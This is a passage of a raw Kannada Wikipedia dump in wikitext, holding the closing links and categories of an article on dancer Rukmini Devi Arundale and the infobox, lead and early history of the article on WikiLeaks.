ಬಯೋಗ್ರಫಿ ಆಫ್ ರುಕ್ಮಿಣಿ ದೇವಿ] * [http://www.katinkahesselink.net/his/kalakshetra.html ರುಕ್ಮಿಣಿ ದೇವಿ ಅಂಡ್ ಕಲಾಕ್ಷೇತ್ರ] {{Persondata |NAME= Arundale, Rukmini Devi |ALTERNATIVE NAMES= Devi, Rukmini |SHORT DESCRIPTION= |DATE OF BIRTH= 1904-02-29 |PLACE OF BIRTH= [[Madurai]], [[Tamilnadu]], India |DATE OF DEATH= 1986-02-24 |PLACE OF DEATH= [[Chennai]], [[Tamilnadu]], India }} {{DEFAULTSORT:Arundale, Rukmini Devi}} [[ವರ್ಗ:ಭಾರತೀಯ ಬ್ರಹ್ಮವಿದ್ಯಾವಾದಿಗಳು]] [[ವರ್ಗ:೧೯೦೪ ಜನನ]] [[ವರ್ಗ:೧೯೮೬ ನಿಧನ]] [[ವರ್ಗ:ಪದ್ಮಭೂಷಣ ಪ್ರಶಸ್ತಿ ಪುರಸ್ಕೃತರು]] [[ವರ್ಗ:ಭರತನಾಟ್ಯ]] [[ವರ್ಗ:ಸಂಗೀತ ನಾಟಕ ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿ ಪುರಸ್ಕೃತರು]] [[ವರ್ಗ:ಭಾರತೀಯ ಹಿಂದೂಗಳು]] [[ವರ್ಗ:ಭಾರತದ ಶಾಸ್ತ್ರೀಯ ನೃತ್ಯಗಾರ್ತಿಯರು]] [[ವರ್ಗ:ಕಲಾವಿದರು]] [[ವರ್ಗ:ನೃತ್ಯ ಕಲಾವಿದರು]] [[ವರ್ಗ:ರಾಜ್ಯಸಭಾ ನಾಮಾಂಕಿತ ಸದಸ್ಯರು]] [[ವರ್ಗ:ನೃತ್ಯ]] 8un8r3glskz43fh7m9psajxlv5mfq7h ವಿಕಿಲೀಕ್ಸ್ 0 27659 1116461 1080303 2022-08-23T13:02:50Z InternetArchiveBot 69876 Rescuing 4 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox website | logo = [[File:Wikileaks logo.svg|80px|Graphic of hourglass, coloured in blue and grey; a circular map of the western hemisphere of the world drips from the top to bottom chamber of the hourglass]] | screenshot = [[File:WikiLeaks 2010-12-08.png|250px|WikiLeaks <http://leaks.viviti.com> screenshot in 2010-12-08]] | collapsible = yes | caption = WikiLeaks homepage on 8 December 2010 | url = [http://wikileaks.ch/ wikileaks.ch]<ref>{{cite news|title=WikiLeaks.org is dead; long live WikiLeaks.ch|url=http://www.nbr.co.nz/article/wikileaks-offline-faces-triple-threat-134238|accessdate=15 December 2010|newspaper=National Business Review|date=4 December 2010}}</ref><ref>{{cite web |title= Twitter / WikiLeaks: Cablegate |date=10 December 2010 |url=http://twitter.com/wikileaks/statuses/13275437891321856# |publisher=Twitter |accessdate=15 December 2010}}</ref> <br/> wikileaks.org (originally){{ref label|Note|Note}}<br/> [http://wikileaks.ch/Mirrors.html Official mirrors list] | commercial = No | type = Document archive & disclosure | owner = The Sunshine Press<ref name=aboutwikileaks/> | author=[[Julian Assange]] | revenue = | launch date = {{Start date|2006|10|04|df=yes}}<ref name="whois"/> | registration = | slogan = We [[open government]]s. | current status = Active | alexa = 861 ({{As of|2010|12|alt=December 2010}})<ref>{{cite web |url=http://www.alexa.com/siteinfo/wikileaks.org |title=wikileaks.org – Traffic Details from Alexa |publisher=[[Alexa Internet]], Inc |accessdate=10 December 2010 |archive-date=4 ಡಿಸೆಂಬರ್ 2011 |archive-url=https://web.archive.org/web/20111204145837/http://www.alexa.com/siteinfo/wikileaks.org |url-status=dead }}</ref> }} [[File:Julian Assange (Norway, March 2010).jpg|thumb|right|230px|ಜೂಲಿಯನ್ ಅಸಾಂಜ್, ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಪ್ರಮುಖ ದಳವಾಯಿ ಹಾಗೂ ಮುಖ್ಯ-ಸಂಪಾದಕ ]] '''ವಿಕಿಲೀಕ್ಸ್ ''' ಅಂತರಾಷ್ಟ್ರೀಯ ಲಾಭಾಪೇಕ್ಷೆರಹಿತ ಸಂಸ್ಥೆಯಾಗಿದ್ದು ರಹಸ್ಯಗಳು ಮತ್ತು ಅನಾಮಿಕ ಸುದ್ದಿ ಮೂಲಗಳನ್ನು ಪ್ರಕಟಿಸುತ್ತದೆ. ಅಲ್ಲದೆ ಇದು ಒಂದು ಮುಕ್ತ ಸಮೂಹ ಮಾಧ್ಯಮವಾಗಿದ್ದು ಇಲ್ಲಿ ಅನಾಮಿಕ ಸುದ್ದಿ ಮೂಲಗಳಿಂದ ಮತ್ತು ಸುದ್ದಿ ಸೋರಿಕೆಯನ್ನು ಖಾಸಗಿಯಾಗಿ ಪ್ರಕಟಿಸುತ್ತದೆ. 2006ರಲ್ಲಿ ಸನ್‌ಶೈನ್ ಪ್ರೆಸ್ ಆರ್ಗನೈಸೇಶನ್‌‌ನ ಅಡಿಯಲ್ಲಿ ಇದರ ಜಾಲತಾಣ ಬಿಡುಗಡೆಯಾಯಿತು<ref name="aboutwikileaks" />. ಇದು ಬಿಡುಗಡೆಯಾದ ಕೇವಲ ಒಂದೇ ವರ್ಷದಲ್ಲಿ 1.2ಕ್ಕಿಂತ ಹೆಚ್ಚು ದಾಖಲೆಗಳ ಅಂಕಿಅಂಶ‌‌ಗಳನ್ನು ಪ್ರಕಟಿಸಿದೆ.<ref>{{cite web |url=http://www.wikileaks.org/wiki/Wikileaks:About#Wikileaks_has_1.2_million_documents.3F |title=Wikileaks has 1.2&nbsp;million documents? |work=WikiLeaks |accessdate=28 February 2008 |archiveurl = https://web.archive.org/web/20080216000537/http://www.wikileaks.org/wiki/Wikileaks:About#Wikileaks_has_1.2_million_documents.3F <!-- Bot retrieved archive --> |archivedate = 16 February 2008}}</ref> ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ, ತೈವಾನ್, ಯೂರೋಪ್, ಆಸ್ಟ್ರೇಲಿಯಾ, ಮತ್ತು ದಕ್ಷಿಣ ಆಫ್ರಿಕಾದ ತಂತ್ರಜ್ಞರು ಹಾಗೂ [[ಚೀನಾ|ಚೀನಾದ]] ಭಿನ್ನಮತೀಯರು, ಪತ್ರಕರ್ತರು, ಗಣಿತಜ್ಞರು, ಎಲ್ಲಾ ಸೇರಿದ್ದಾರೆ ಎಂದು ವಿಕಿಲೀಕ್ಸ್ ಹೇಳುತ್ತದೆ.<ref name="aboutwikileaks" /> ಆಸ್ಟ್ರೇಲಿಯಾದ ಅಂತರ್ಜಾಲ ಕಾರ್ಯಕರ್ತನಾದ ಜೂಲಿಯಾನ್ ಅಸ್ಸಾಂಜೆ ಇದರ ನಿರ್ದೇಶಕ ಎಂದು ಹೇಳಲಾಗುತ್ತದೆ.<ref name="McGreal">{{cite news|last=McGreal|first=Chris |title=Wikileaks reveals video showing US air crew shooting down Iraqi civilians |url=https://www.theguardian.com/world/2010/apr/05/wikileaks-us-army-iraq-attack |accessdate=15 December 2010|newspaper=The Guardian|date=5 April 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್ ಮೊದಲು ಬಿಡುಗಡೆಯಾದಾಗ ವಿಕಿಯನ್ನು ಬಳಕೆದಾರರು ಸಂಪಾದಿಸಬಹುದು ಎಂದು ಪ್ರಕಟಿಸಲಾಗಿತ್ತು. ಆದರೆ ಸಾಂಪ್ರದಾಯಿಕ ಪ್ರಕಟಣೆಯ ಮಾದರಿಯಾಗಿ ಮತ್ತು ಬಳಕೆದಾರರ ಟೀಕೆಗಳನ್ನು ಅಥವಾ ಸಂಪಾದಿಸಿದ್ದನ್ನು ಹೆಚ್ಚು ಕಾಲ ಸ್ವೀಕರಿಸದೇ ಪ್ರಗತಿಶೀಲವಾಗಿ ಮುನ್ನಡೆಯಿತು. ಏಪ್ರಿಲ್ 2010ರಲ್ಲಿ, 2007 ಘಟನೆಯಾದ [[ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]]ದ ಪಡೆಗಳಿಂದ ಕೊಲ್ಲಲ್ಪಟ್ಟ [[ಇರಾಕ್|ಇರಾಕಿನ]] ನಾಗರಿಕರು ಮತ್ತು ಪತ್ರಕರ್ತರ ಕೊಲಾಟರಲ್ ಮರ್ಡರ್ ವಿಡಿಯೋವನ್ನು ವಿಕಿಲೀಕ್ಸ್ ಬಿಡುಗಡೆ ಮಾಡಿತು. ಅದೇ ವರ್ಷ ಜುಲೈನಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್ ಅಫ್ಘಾನ್ ವಾರ್ ಡೈರಿ ಬಿಡುಗಡೆ ಮಾಡಿತು, [[ಅಫ್ಘಾನಿಸ್ತಾನ್‌]]ದಲ್ಲಿನ ಯುದ್ಧದ ಕುರಿತಾಗಿ ಇದುವರೆಗೂ ಸಾರ್ವಜನಿಕರಿಗೆ ದೊರೆಯದ 76,900ಕ್ಕಿಂತ ಹೆಚ್ಚು ದಾಖಲೆಗಳ ಸಂಕಲನವನ್ನು ನೀಡಿತು.<ref name="AssociatedPressNews">{{cite news |title=WikiLeaks to publish new documents |agency=Associated Press |date=7 August 2010 |url=http://www.msnbc.msn.com/id/38606166/ns/us_news-security/ |publisher=MSNBC |accessdate=5 December 2010 |archiveurl=https://www.webcitation.org/5ukvPaEhj?url=http://www.msnbc.msn.com/id/38606166/ns/us_news-security/ |archivedate=5 ಡಿಸೆಂಬರ್ 2010 |url-status=live }}</ref> ಪ್ರಮುಖ ವಾಣಿಜ್ಯ ಮಾಧ್ಯಮ ಸಂಸ್ಥಗಳ ಸಹಕಾರದೊಂದಿದೆ ಇರಾಕ್ ವಾರ್ ಲಾಗ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುವ 400,000 ದಾಖಲೆಗಳನ್ನು ಅಕ್ಟೋಬರ್ 2010ರಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಿತು. ಇರಾಕಿನಲ್ಲಿ ಮತ್ತು ಗಡಿಯಾಚೆ ನಡೆದ ಪ್ರತಿಯೊಂದು ಸಾವಿನ ಕುರಿತಾಗಿಯು ವಿವರ ನೀಡುವಂತಾಗಿಸಿತು.<ref>{{cite news |url=https://www.theguardian.com/world/datablog/interactive/2010/oct/23/wikileaks-iraq-deaths-map |title=Wikileaks Iraq war logs: every death mapped |author=Rogers, Simon |work=[[The Guardian]] |date=23 October 2010 |accessdate=11 January 2011}}</ref> 2010 ನವೆಂಬರ್‌ನಲ್ಲಿ ವಿಕಿಲೀಕ್ಸ್ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಜತಾಂತ್ರಿಕ ತಂತಿ ವಾರ್ತೆಗಳನ್ನು ಬಿಡುಗಡೆ ಮಾಡಲು ಆರಂಭಿಸಿತು. ವಿಕಿಲೀಕ್ಸ್ ಟೀಕೆಗಳನ್ನು ಮಾತ್ರವಲ್ಲದೆ ಹೊಗಳಿಕೆಯನ್ನು ಕೂಡಾ ಪಡೆಯಿತು. ''ದಿ ಇಕನಾಮಿಸ್ಟ್‌ನ '' 2008ರ ನ್ಯೂ ಮಿಡೀಯಾ ಪ್ರಶಸ್ತಿ <ref>{{cite web|title=Winners of Index on Censorship Freedom of Expression Awards Announced|url=http://www.indexoncensorship.org/2008/04/winners-of-index-on-censorship-freedom-of-expression-award-announced/|publisher=Index on Censorship|accessdate=15 December 2010|date=22 April 2008}}</ref> ಮತ್ತು [[ಅಮ್ನೆಸ್ಟಿ ಇಂಟರ್ನ್ಯಾಷನಲ್‌]]ನ 2009ರ ಯುಕೆ ಮಿಡೀಯಾ ಪ್ರಶಸ್ತಿ ಒಳಗೊಂಡಂತೆ ಹಲವಾರು ಪ್ರಶಸ್ತಿಗಳನ್ನು ಇದು ಪಡೆದುಕೊಂಡಿತು.<ref>{{cite web|title=The Cry of Blood. Report on Extra-Judicial Killings and Disappearances|url=http://www.ediec.org/library/item/id/402/|publisher=Kenya National Commission on Human Rights|accessdate=15 December 2010|year=2008}}</ref><ref>{{cite web|title=Amnesty announces Media Awards 2009 winners|url=http://amnesty.org.uk/news_details.asp?NewsID=18227|publisher=Amnesty International UK|accessdate=15 December 2010|date=2 June 2009|archiveurl=https://archive.is/20120530055214/http://amnesty.org.uk/news_details.asp?NewsID=18227|archivedate=30 ಮೇ 2012|url-status=live}}</ref> 2010ರಲ್ಲಿ ನ್ಯೂಯಾರ್ಕ್ ಸಿಟಿ ''ಡೈಲಿ ನ್ಯೂಸ್'' ವಿಕಿಲೀಕ್ಸ್ ಅನ್ನು ’ಸುದ್ದಿಯ ರೂಪವನ್ನೇ ಬದಲಾಯಿಸಿದ ಮೊದಲ [[ಅಂತರ್ಜಾಲ ತಾಣ]]’ ಎಂದು ಹೇಳಿತು.<ref name="5sites">{{cite news |url=http://www.nydailynews.com/money/2010/05/20/2010-05-20_5_pioneering_web_sites_that_could_totally_change_the_news.html |title=5 pioneering Web sites that could totally change the news |last=Reso |first=Paulina |date=20 May 2010 |work=[[Daily News (New York)|Daily News]] |location=New York |accessdate=8 June 2010}}</ref> ಮತ್ತು 2010ರಲ್ಲಿ ಜೂಲಿಯಾನ್ ಅಸ್ಸಾಂಜೆ ''ಟೈಮ್ಸ್‌ನ ವರ್ಷದ ವ್ಯಕ್ತಿ'' ಯಾಗಿ ಓದುಗರ ಆಯ್ಕೆಯಾಗಿ ಹೆಸರಿಸಲಾಗಿತ್ತು.<ref>{{cite news|last=Friedman|first=Megan|title=Julian Assange: Readers' Choice for TIME's Person of the Year 2010|url=http://newsfeed.time.com/2010/12/13/julian-assange-readers-choice-for-times-person-of-the-year-2010/|accessdate=15 December 2010|newspaper=TIME|date=13 December 2010}}</ref> ಇಂಗ್ಲೆಂಡ್‌ನ ಮಾಹಿತಿ ಆಯುಕ್ತ ಹೇಳುತ್ತಾರೆ "ವಿಕಿಲೀಕ್ಸ್ ಜನರಿಂದ ಅಧಿಕಾರ ಪಡೆದುಕೊಂಡ ಆನ್‌ಲೈನ್ ವಿಧ್ಯಮಾನದ ಭಾಗವಾಗಿದೆ".<ref>{{cite news |author=Curtis, Polly |url=https://www.theguardian.com/politics/2010/dec/30/wikileaks-freedom-information-ministers-government |title=Ministers must 'wise up not clam up' after WikiLeaks disclosures |work=[[The Guardian]] |date=30 December 2010 |accessdate=1 January 2011}}</ref> ಇದರ ಪ್ರಾರಂಭಿಕ ದಿನಗಳಲ್ಲಿ, ಹೆಚ್ಚಿನ ನ್ಯಾಯಾಂಗೀಯ ಬೆದರಿಕೆಯನ್ನು ನಿಲ್ಲಿಸಬೇಕು ಎಂದು ಕೋರಿ ಸಲ್ಲಿಸಿದ ಅಂತರ್ಜಾಲ ಮೇಲ್ಮನವಿಗೆ ಸುಮಾರು ಸುಮಾರು ಆರುನೂರು ಸಾವಿರಕ್ಕಿಂತ ಹೆಚ್ಚು ಸಹಿಗಳು ದೊರೆತಿದ್ದವು.<ref>{{cite web |url=http://www.smh.com.au/technology/technology-news/media-says-governments-reaction-to-wikileaks-troubling-20101214-18vrb.html |title=Media says government's reaction to WikiLeaks 'troubling' |publisher=Sydney Morning Herald |accessdate=28 December 2010}}</ref> ರಾಜ್ಯ ಮತ್ತು ಕಾರ್ಪೋರೇಟ್ ರಹಸ್ಯಗಳು, ಹೆಚ್ಚುತ್ತಿರುವ ಪಾರದರ್ಶಕತೆ, ಪತ್ರಿಕಾ ಸ್ವಾತಂತ್ರ್ಯಕ್ಕೆ ಬೆಂಬಲ, ಮತ್ತು ಶಕ್ತಿಶಾಲಿಯಾದ ಸಂಸ್ಥೆಗಳನ್ನು ಪ್ರತಿಭಟಿಸುವಾಗ ಹೆಚ್ಚುತ್ತಿರುವ ಪ್ರಜಾಪಭುತ್ವ ಸಂವಾದ ಇವುಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದ್ದಕ್ಕಾಗಿ ಮಾಧ್ಯಮದಲ್ಲಿ ಮತ್ತು ಸೈದ್ಧಾಂತಿಕವಾಗಿ ವಿಕಿಲೀಕ್ಸ್‌ಗೆ ಬೆಂಬಲಿಸುವವರು ಈ ಕಾರ್ಯವನ್ನು ಹೊಗಳಿದ್ದಾರೆ.<ref>{{cite news|title=John Kampfner: Wikileaks shows up our media for their docility at the feet of authority|url=http://www.independent.co.uk/opinion/commentators/john-kampfner-wikileaks-shows-up-our-media-for-their-docility-at-the-feet-of-authority-2146211.html|accessdate=19 December 2010|newspaper=The Independent|date=29 November 2010}}</ref><ref>{{cite news|last=Shafer|first=Jack|title=Why I Love WikiLeaks|url=http://www.slate.com/id/2276312/|accessdate=19 December 2010|newspaper=[[Slate (magazine)|Slate]]|date=30 November 2010}}</ref><ref>{{cite news|last=Greenwald|first=Glenn|title=WikiLeaks reveals more than just government secrets|url=http://www.salon.com/news/opinion/glenn_greenwald/2010/11/30/wikileaks/index.html|accessdate=19 December 2010|publisher=[[Salon.com]]|date=30 November 2010|archive-date=13 ಜನವರಿ 2011|archive-url=https://web.archive.org/web/20110113112018/http://www.salon.com/news/opinion/glenn_greenwald/2010/11/30/wikileaks/index.html|url-status=dead}}</ref><ref>{{cite news|last=Gilmore|first=Dan|title=Defend WikiLeaks or lose free speech|url=http://www.salon.com/technology/dan_gillmor/2010/12/06/war_on_speech|accessdate=19 December 2010|publisher=[[Salon.com]]|date=6 December 2010|archive-date=1 ಜನವರಿ 2011|archive-url=https://web.archive.org/web/20110101093621/http://www.salon.com/technology/dan_gillmor/2010/12/06/war_on_speech|url-status=dead}}</ref><ref>{{cite news|title=First, They Came for WikiLeaks. Then...|url=http://www.thenation.com/article/157017/first-they-came-wikileaks-then|accessdate=19 December 2010|newspaper=[[The Nation]]|date=9 December 2010}}</ref><ref>{{cite news|title=Medb Ruane: Where's the democracy in hunting Wikileaks off the Net?|url=http://www.independent.ie/opinion/columnists/medb-ruane/medb-ruane-wheres-the-democracy-in-hunting-wikileaks-off-the-net-2456960.html|accessdate=19 December 2010|newspaper=[[The Independent]]|date=11 December 2010}}</ref><ref>{{cite web |url=http://epw.in/epw/uploads/articles/15542.pdf |title=WikiLeaks, the New Information Cultures and Digital Parrhesia |publisher=Economic & Political Weekly |accessdate=8 January 2011 |archive-date=18 ಜನವರಿ 2011 |archive-url=https://web.archive.org/web/20110118214239/http://epw.in/epw/uploads/articles/15542.pdf |url-status=dead }}</ref> ಇದೇ ಸಮಯದಲ್ಲಿ ರಹಸ್ಯ ಮಾಹಿತಿ, ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆಗೆ ತೊಂದರೆಯಾಗುವ ಮತ್ತು ಅಂತರಾಷ್ಟ್ರೀಯ ರಾಜತಾಂತ್ರಿಕ ರಾಜಿಯನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದ್ದಕ್ಕಾಗಿ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸರ್ಕಾರಿ ಅಧಿಕಾರಿಗಳು ವಿಕಿಲೀಕ್ಸ್‌ ಅನ್ನು ಟೀಕಿಸಿದ್ದಾರೆ.<ref>{{cite news|agency=Associated Press |url=http://www.foxnews.com/politics/2010/12/16/congress-mulls-stop-wikileaks-tracks/ |title=Congress Mulls How to Stop WikiLeaks in Its Tracks |publisher=Fox News |date=7 April 2010 |accessdate=17 December 2010}}</ref><ref>{{cite web |url=http://www.latimes.com/news/nationworld/nation/sc-dc-1130-wikileaks-20101129,0,2557036.story |title=WikiLeaks: U.S. tries to contain damage from WikiLeaks disclosures |publisher=Los Angeles Times |date=29 November 2010 |accessdate=17 December 2010 |archive-date=29 ನವೆಂಬರ್ 2010 |archive-url=https://web.archive.org/web/20101129222358/http://www.latimes.com/news/nationworld/nation/sc-dc-1130-wikileaks-20101129,0,2557036.story |url-status=dead }}</ref><ref>{{cite web|url=http://www.politico.com/news/stories/1210/45791.html |author=Jennifer Epstein |title=Bill Clinton: WikiLeaks will cost lives |publisher=Politico.Com |date=1 December 2010 |accessdate=17 December 2010}}</ref><ref>{{cite web |url=https://news.yahoo.com/s/afp/20101206/pl_afp/usdiplomacywikileaksclinton_20101206225700 |title=Clinton blasts 'deeply distressing' leak of US sites |publisher=Yahoo! News |date=6 December 2010 |accessdate=17 December 2010 |archiveurl=https://web.archive.org/web/20101222021421/http://news.yahoo.com/s/afp/20101206/pl_afp/usdiplomacywikileaksclinton_20101206225700 |archivedate=22 ಡಿಸೆಂಬರ್ 2010 |url-status=live }}</ref><ref>{{cite web|url=http://www.spiegel.de/international/world/0,1518,733088,00.html |title=Outrage and Apologies: Washington Fights to Rebuild Battered Reputation |publisher=Spiegel International |date=6 December 2010 |accessdate=17 December 2010}}</ref> ವಿಕಿಲೀಕ್ಸ್, ಅಂತರಾಷ್ಟ್ರೀಯ ಪಡೆಗಳ ಜೊತೆಗೆ ಕೆಲಸ ಮಾಡಿದ ನಾಗರಿಕರ ಹೆಸರುಗಳನ್ನು ಮೊದಲಿಗೆ ಬಿಡುಗಡೆ ಮಾಡಿತ್ತು ಆದರೆ ಇದರಿಂದ ಅವರಿಗೆ ತೊಂದರೆ ಉಂಟಾಗುವ ಕಾರಣದಿಂದ ಹಲವಾರು ಮಾನವ ಹಕ್ಕು ಸಂಘಟನೆಗಳು ಇದನ್ನು ಸಂಪಾದಿಸಲು ಮನವಿ ಮಾಡಿಕೊಂಡಿವೆ.<ref>{{cite web|url=http://www.heraldsun.com.au/news/breaking-news/wikileaks-asked-to-censor-secret-files/story-e6frf7jx-1225903715328 |title=WikiLeaks asked to censor secret files |publisher=Herald Sun |date=11 August 2010 |accessdate=17 December 2010}}</ref> ಸರಿಯಾಗಿ ವಿಶ್ಲೇಷಣೆ ಇಲ್ಲದೆ ಒಮ್ಮೆಲೆ ಸಾವಿರಾರು ದಾಖಲೆಗಳನ್ನು ಬಿಡುಗಡೆ ಮಾಡಿದಾಗ ಸಂಪಾದಕೀಯ ವಿವೇಚನೆಯ ಕೊರತೆಯಿದೆ ಎಂದು ಕೆಲವು ಪತ್ರಕರ್ತರು ಟೀಕಿಸಿದರು.<ref>{{cite web |url=http://en.rsf.org/united-states-open-letter-to-wikileaks-founder-12-08-2010,38130.html |title=Open letter to Wikileaks founder Julian Assange: "A bad precedent for the Internet's future" |publisher=Reporters Sans Frontières |date=12 August 2010 |accessdate=17 December 2010 |archive-date=28 ಮಾರ್ಚ್ 2014 |archive-url=https://web.archive.org/web/20140328200448/http://en.rsf.org/united-states-open-letter-to-wikileaks-founder-12-08-2010%2C38130.html |url-status=dead }}</ref> ಇದಕ್ಕೆ ನಕಾರಾತ್ಮಕ ಪ್ರತಿಕ್ರಿಯೆಗಳು, ವಿಶ್ವಸಂಸ್ಥೆಯ ಮಾನವ ಹಕ್ಕುಗಳ ಹೆಚ್ಚುವರಿ ಆಯುಕ್ತ, ವಿಕಿಲೀಕ್ಸ್ ವಿರುದ್ಧದ "ಸೈಬರ್ ಯುದ್ಧ"ದ ಕುರಿತಾಗಿ ತಮ್ಮ ಕಳವಳ ವ್ಯಕ್ತಪಡಿಸಿದ್ದಾರೆ<ref>{{cite web |url=https://www.un.org/apps/news/story.asp?NewsID=37009&Cr=leaked&Cr1 |title=UN human rights chief voices concern at reported 'cyber war' against WikiLeaks |publisher=United Nations website |accessdate=December 28 2010}}</ref> ಮತ್ತು ಈ ರೀತಿ ಕೆಲಸ ಮಾಡುವವರು ಅಂತರಾಷ್ಟ್ರೀಯ ಕಾನೂನು ತತ್ವಗಳನ್ನು ಮನಸ್ಸಿನಲ್ಲಿಟ್ಟುಕೊಳ್ಳಬೇಕೆಂದು ಆರ್ಗನೈಸೇಶನ್ ಆಫ್ ಅಮೆರಿಕನ್ ಸ್ಟೇಟ್ಸ್ ಮತ್ತು ಯುಎನ್ ಸ್ಪೇಷಲ್ ರ್ಯಾಪ್‌ಪೊರ್ಟರ್ ಜಂಟಿಯಾಗಿ ಹೇಳಿಕೆಯನ್ನು ನೀಡಿವೆ.<ref>{{cite web |url=http://www.cidh.oas.org/relatoria/showarticle.asp?artID=829&lID=1 |title=Joint Statement on WikiLeaks |publisher=[[Organization of American States]] website |accessdate=December 28 2010}}</ref> {{TOC limit|3}} ==ಇತಿಹಾಸ== ===ಸ್ಥಾಪನೆ=== ಅಕ್ಟೋಬರ್ 4 2006ರಲ್ಲಿ wikileaks.org ಹೆಸರಿನ ಡೊಮೇನ್ ದಾಖಲಾಯಿತು.<ref name="whois">{{cite web|title=Whois Search Results: wikileaks.org|url=http://who.godaddy.com/WhoIs.aspx?domain=wikileaks.org&isc=ALEXADOM|work=GoDaddy.com|accessdate=10 December 2010|archive-date=2 ಮೇ 2012|archive-url=https://web.archive.org/web/20120502162443/http://who.godaddy.com/WhoIs.aspx?domain=wikileaks.org&isc=ALEXADOM|url-status=dead}}</ref> ಡಿಸೆಂಬರ್ 2006ರಲ್ಲಿ ಈ ಜಾಲತಾಣ ಬಿಡುಗಡೆಯಾಗಿ ಮೊದಲ ದಾಖಲೆಯನ್ನು ಪ್ರಕಟಿಸಿತು.<ref>{{cite news |title=WikiLeaks' War on Secrecy: Truth's Consequences |date=2 December 2010 |author=Calabresi, Massimo |url=http://www.time.com/time/world/article/0,8599,2034276-3,00.html |work=TIME |accessdate=19 December 2010 |quote=Reportedly spurred by the leak of the Pentagon papers, Assange unveiled WikiLeaks in December 2006. |archive-date=20 ಮೇ 2013 |archive-url=https://web.archive.org/web/20130520104123/http://www.time.com/time/world/article/0%2C8599%2C2034276-3%2C00.html |url-status=dead }}</ref><ref name="Khatchdourian" /> ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ, ತೈವಾನ್, ಯೂರೋಪ್, [[ಆಸ್ಟ್ರೇಲಿಯ|ಆಸ್ಟ್ರೇಲಿಯಾ]], ಮತ್ತು [[ದಕ್ಷಿಣ ಆಫ್ರಿಕಾ]]ದ ತಂತ್ರಜ್ಞರು ಸೇರಿಕೊಂಡು ಕಂಪನಿಯನ್ನು ಪ್ರಾರಂಭಿಸಿದರು, ಇದರಲ್ಲಿ ಚೀನಾ ಭಿನ್ನಮತಿಯರು, ಪತ್ರಕರ್ತರು, ಗಣಿತಜ್ಞರು, ಎಲ್ಲಾ ಸೇರಿದ್ದಾರೆ ಎಂದು ವಿಕಿಲೀಕ್ಸ್ ಹೇಳುತ್ತದೆ.<ref name="aboutwikileaks">{{cite web|url=http://www.wikileaks.org/wiki/WikiLeaks:About |title=Wikileaks:About |publisher=WikiLeaks |date= |accessdate=3 June 2009|archiveurl=https://web.archive.org/web/20080314204422/http://www.wikileaks.org/wiki/Wikileaks:About |archivedate=14 March 2008}}</ref> ವಿಕಿಲೀಕ್ಸ್ ನಿರ್ಮಾತೃಗಳನ್ನು ವಿಧ್ಯುಕ್ತವಾಗಿ ಗುರುತಿಸಲಾಗಿಲ್ಲ.<ref name="NewScientist1">{{cite news |author=Marks, Paul |title=How to leak a secret and not get caught|url=http://www.newscientist.com/channel/tech/mg19325865.500-how-to-leak-a-secret-and-not-get-caught.html |work=[[New Scientist]] |date=12 January 2007 |accessdate=28 February 2008|archiveurl=http://www.huliq.com/5711/how-to-leak-a-secret-and-not-get-caught|archivedate=11 January 2007}}</ref> 2007ರಿಂದ ಜೂಲಿಯಾನ್ ಅಸ್ಸಾಂಜೆ ಮತ್ತು ಇತರರು ಸಾರ್ವಜನಿಕವಾಗಿ ಇದನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತಿದ್ದಾರೆ. ಅಸ್ಸಾಂಜೆ ತನ್ನನ್ನು ವಿಕಿಲೀಕ್ಸ್ ಸಲಹಾ ಮಂಡಳಿಯ ಸದಸ್ಯನೆಂದು ಹೇಳಿಕೊಳ್ಳುತ್ತಾನೆ.<ref name="afp07">{{cite news |agency=[[Agence France-Presse]] |work=[[The Age]] |publisher=[[Fairfax Media]] |title=Chinese cyber-dissidents launch WikiLeaks, a site for whistleblowers|url=http://www.theage.com.au/news/Technology/Chinese-cyberdissidents-launch-WikiLeaks-a-site-forwhistleblowers/2007/01/11/1168105082315.html |date=11 January 2007|accessdate=17 June 2010 |location=Melbourne}}</ref> ''ದಿ ಆಸ್ಟ್ರೇಲಿಯನ್'' ಪ್ರಕಟಿಸಿರುವ ಪ್ರಕಾರ ಅಸ್ಸಾಂಜೆ "ವಿಕಿಲೀಕ್ಸ್‌ನ ಸ್ಥಾಪಕ".<ref>{{cite news|url=http://www.theaustralian.com.au/news/rudd-government-blacklist-hacker-monitors-police/story-e6frg8yx-1225718288350 |title=Rudd Government blacklist hacker monitors police |work=The Australian| author=Guilliatt, Richard |date=30 May 2009 |accessdate=17 June 2010}}</ref> "ಈ ಸಂಸ್ಥೆಯ ಹೃದಯ ಮತ್ತು ಆತ್ಮ, ಇದರ ಸ್ಥಾಪಕ, ಮಾರ್ಗದರ್ಶಿ, ವಕ್ತಾರ, ಮೂಲ ಕೋಡರ್, ಸಂಯೋಜಕ, ಬಂಡವಾಳಗಾರ, ಮತ್ತು ಉಳಿದೆಲ್ಲವೂ ನಾನೇ" ಎಂದು ಅಸ್ಸಾಂಜೆ ಒಬ್ಬ ವಾಲಂಟಿಯರ್‌ ಜೊತೆಗೆ ಖಾಸಗಿಯಾಗಿ ಸಂವಾದ ನಡೆಸಿ ಹೇಳಿದ್ದಾರೆ ಎಂದು ''ವೈಯರ್ಡ್'' ಮ್ಯಾಗಜೀನ್ ಹೇಳಿದೆ.<ref>{{cite news |url=https://www.nytimes.com/2010/10/24/world/24assange.html |work=The New York Times |title=WikiLeaks Founder on the Run, Trailed by Notoriety |date=23 October 2010|last1=Burns|first1=John F.|last2=Somaiya|first2=Ravi|accessdate=19 December 2010}}</ref>{{As of|2009|6}}1,200ಕ್ಕಿಂತ ಹೆಚ್ಚು 